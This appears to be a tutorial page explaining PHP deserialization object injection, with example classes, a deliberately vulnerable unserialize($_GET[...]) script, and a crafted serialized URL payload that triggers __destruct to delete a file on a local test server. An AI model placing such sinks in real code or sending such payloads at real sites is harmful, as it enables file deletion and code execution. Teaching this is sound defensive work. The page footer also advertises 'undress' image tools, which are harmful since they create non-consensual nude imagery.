PHP about deserialization object injection vulnerability
php object injection is a very common vulnerability. Although this type of vulnerability is somewhat difficult to exploit, it is still very dangerous. This article mainly shares with you a detailed explanation of PHP's deserialization object injection vulnerability. I hope it can help you.
Analysis
php basics
serialize converts an object into a string form, which can be used to save
unserialize turns the serialized string into a The object
php class may contain some special functions called magic functions. Magic function names start with the symbol __,
such as __construct, __destruct, __toString, __sleep, __wakeup, etc.
These functions are automatically called under certain circumstances, such as
__construct is called when an object is created,
__destruct is called when an object is destroyed,
__toString is called when an object is destroyed Used as a string.
Example
For example:
<?php class TestClass { public $variable = 'This is a string'; public function PrintVariable() { echo $this->variable . '<br />'; } public function __construct() { echo '__construct <br />'; } public function __destruct() { echo '__destruct <br />'; } public function __toString() { return '__toString<br />'; } } $object = new TestClass(); $object->PrintVariable(); echo $object; ?>
php allows you to save an object for later reuse. This process is called serialization .
Why is there a mechanism for serialization?
In the process of passing variables, it is possible to encounter the process of passing variable values across script files. Just imagine, if you want to call the variables of a previous script in a script, but the previous script has been executed and all variables and contents are released, how do we do it? Do we need the previous script to continuously loop and wait for the next one? Script call? This is definitely unrealistic.
serialize and unserialize are used to solve this problem. Serialize can convert a variable into a string and save the value of the current variable during the conversion; unserialize can convert the string generated by serialize back into a variable. This perfectly solves cross-script transmission and execution.
Magic functions __construct and __destruct are automatically called when an object is created or destroyed;
__sleep magic method is called when an object is serialized;
__wakeup magic method is called when an object is reversed Called during serialization.
<?phpclass User { public $age = 0; public $name = ''; public function Printx() { echo $this->name.' is '.$this->age.' years old.<br/>'; } public function __construct() { echo '__construct<br />'; } public function __destruct() { echo '__destruct<br />'; } public function __wakeup() { echo '__wakeup<br />'; } public function __sleep() { echo '__sleep<br />'; return array('name', 'age'); } }$usr = new User(); $usr->age = 20; $usr->name = 'John'; $usr->Printx(); echo serialize($usr);echo '<br/>'; $str = 'O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}'; $user2 = unserialize($str);$user2->Printx();?>
Now we understand how serialization works, but how do we take advantage of it?
There are multiple possible methods, depending on the application, available classes and magic functions.
Remember that serialized objects contain attacker-controlled object values.
You may find a class that defines __wakeup or __destruct in the web application source code. These functions will affect the web application.
For example, we might find a class that temporarily stores logs to a file. When destroyed the object may no longer need the log file and delete it. Save the following code as log.php.
<?php //log.php class LogFile { // log文件名 public $filename = 'error.log'; // 储存日志文件 public function LogData($text) { echo 'Log some data: ' . $text . '<br />'; file_put_contents($this->filename, $text, FILE_APPEND); } // 删除日志文件 public function __destruct() { echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename); } } ?>
test.php Assume this is php for the user.
<?php //test.php include 'logfile.php'; // ... 一些使用LogFile类的代码... // 简单的类定义 class User { // 类数据 public $age = 0; public $name = ''; // 输出数据 public function PrintData() { echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // 重建用户输入的数据 $usr = unserialize($_GET['usr_serialized']); ?>
123.php
<?php //123.php include 'logfile.php'; $obj = new LogFile(); $obj->filename = '1.php'; echo serialize($obj) . '<br />'; ?>
There is a 1.php at the beginning:
Now the user passes in a serialized string, test.php will Its deserialization,
http://127.0.0.1/test.php?usr_serialized=
O:7:%22LogFile%22:1:{s:8: %22filename%22;s:5:%221.php%22;}
As a result, during the release process, the parsed object called __destruct( of log.php ) function, deleted the file 1.php.
Utilization summary
Inject the serialization object where the variable is controllable and the unserialize operation is performed, and implement the code execution or other deceptive behavior.
Leaving aside __wakeup and __destruct, there are some very common injection points that allow you to exploit this type of vulnerability. Everything depends on the program logic.
For example, a user class defines a __toString to allow the application to output the class as a string (echo $obj), and other classes may also define a class to allow __toString to read a file. .
Other magic functions can also be used:
If the object will call a non-existent function __call will be called;
If the object attempts to access non-existent class variables __get and _ _set will be called.
But the use of this vulnerability is not limited to magic functions, the same idea can also be adopted for ordinary functions.
For example, the User class may define a get method to find and print some user data, but other classes may define a get method to obtain data from the database, which may lead to SQL injection vulnerabilities.
The set or write method will write data to any file, which can be used to obtain remote code execution.
The only technical issue is the classes available at the injection point, but some frameworks or scripts have automatic loading capabilities. The biggest problem is people: understanding the application to be able to exploit this type of vulnerability, as it can take a lot of time to read and understand the code.
related suggestion:
Detailed explanation of PHP serialization and deserialization principles
Detailed introduction of serialization and deserialization
javascript implementation json serialization and deserialization function example
The above is the detailed content of PHP about deserialization object injection vulnerability. For more information, please follow other related articles on the PHP Chinese website!

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics





PHP 8.4 brings several new features, security improvements, and performance improvements with healthy amounts of feature deprecations and removals. This guide explains how to install PHP 8.4 or upgrade to PHP 8.4 on Ubuntu, Debian, or their derivati

If you are an experienced PHP developer, you might have the feeling that you’ve been there and done that already.You have developed a significant number of applications, debugged millions of lines of code, and tweaked a bunch of scripts to achieve op

Visual Studio Code, also known as VS Code, is a free source code editor — or integrated development environment (IDE) — available for all major operating systems. With a large collection of extensions for many programming languages, VS Code can be c

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

This tutorial demonstrates how to efficiently process XML documents using PHP. XML (eXtensible Markup Language) is a versatile text-based markup language designed for both human readability and machine parsing. It's commonly used for data storage an

A string is a sequence of characters, including letters, numbers, and symbols. This tutorial will learn how to calculate the number of vowels in a given string in PHP using different methods. The vowels in English are a, e, i, o, u, and they can be uppercase or lowercase. What is a vowel? Vowels are alphabetic characters that represent a specific pronunciation. There are five vowels in English, including uppercase and lowercase: a, e, i, o, u Example 1 Input: String = "Tutorialspoint" Output: 6 explain The vowels in the string "Tutorialspoint" are u, o, i, a, o, i. There are 6 yuan in total

Static binding (static::) implements late static binding (LSB) in PHP, allowing calling classes to be referenced in static contexts rather than defining classes. 1) The parsing process is performed at runtime, 2) Look up the call class in the inheritance relationship, 3) It may bring performance overhead.

What are the magic methods of PHP? PHP's magic methods include: 1.\_\_construct, used to initialize objects; 2.\_\_destruct, used to clean up resources; 3.\_\_call, handle non-existent method calls; 4.\_\_get, implement dynamic attribute access; 5.\_\_set, implement dynamic attribute settings. These methods are automatically called in certain situations, improving code flexibility and efficiency.
